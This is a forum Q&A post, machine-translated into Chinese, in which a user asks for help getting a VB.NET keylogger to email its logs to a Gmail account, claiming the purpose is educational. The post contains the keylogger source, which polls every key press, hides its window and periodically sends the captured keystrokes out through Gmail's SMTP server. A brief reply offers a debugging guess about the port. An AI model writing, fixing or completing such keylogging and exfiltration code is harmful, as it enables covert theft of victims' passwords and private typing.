2013-04-02 30 views
-3

我一直在試圖找出是什麼問題,但我找不到......鍵盤記錄不發送到我的Gmail(教育的唯一目的)

Option Strict On Imports System.Web Imports System.IO Imports System.Net.Mail Public Class Form1 Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Int32) As Short Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick Dim result As Integer Dim key As String Dim i As Integer For i = 2 To 105 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then key = Chr(i) If 1 = 13 Then key = vbNewLine Exit For End If Next i 

    If key <> Nothing Then 
     If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then 
      tbLog.Text &= key 
     Else 
      tbLog.Text &= key.ToLower 

     End If 
    End If 

    If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then 
     Me.Show() 
    End If 
End Sub 
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick 
    Dim smtpServer As New SmtpClient() 
    Dim mail As New MailMessage() 
    smtpServer.Credentials = New Net.NetworkCredential("[email protected]", "passoword") 
    'using gmail 
    smtpServer.Port = 587 
    smtpServer.Host = "smtp.gmail.com" 
    smtpServer.EnableSsl = True 
    mail = New MailMessage() 
    mail.From = New MailAddress("[email protected]") 
    mail.To.Add("[email protected]") 
    mail.From = New MailAddress("[email protected]") 
    mail.Body = tbLog.Text 
    smtpServer.Send(mail) 
End Sub 

末級

回答

0

某些SMTP當某些變量超出範圍時,實現不起作用。不過我認爲你的問題是你沒有指定端口。

+0

幫忙請謝謝 –

+0

awww我希望有人幫忙! –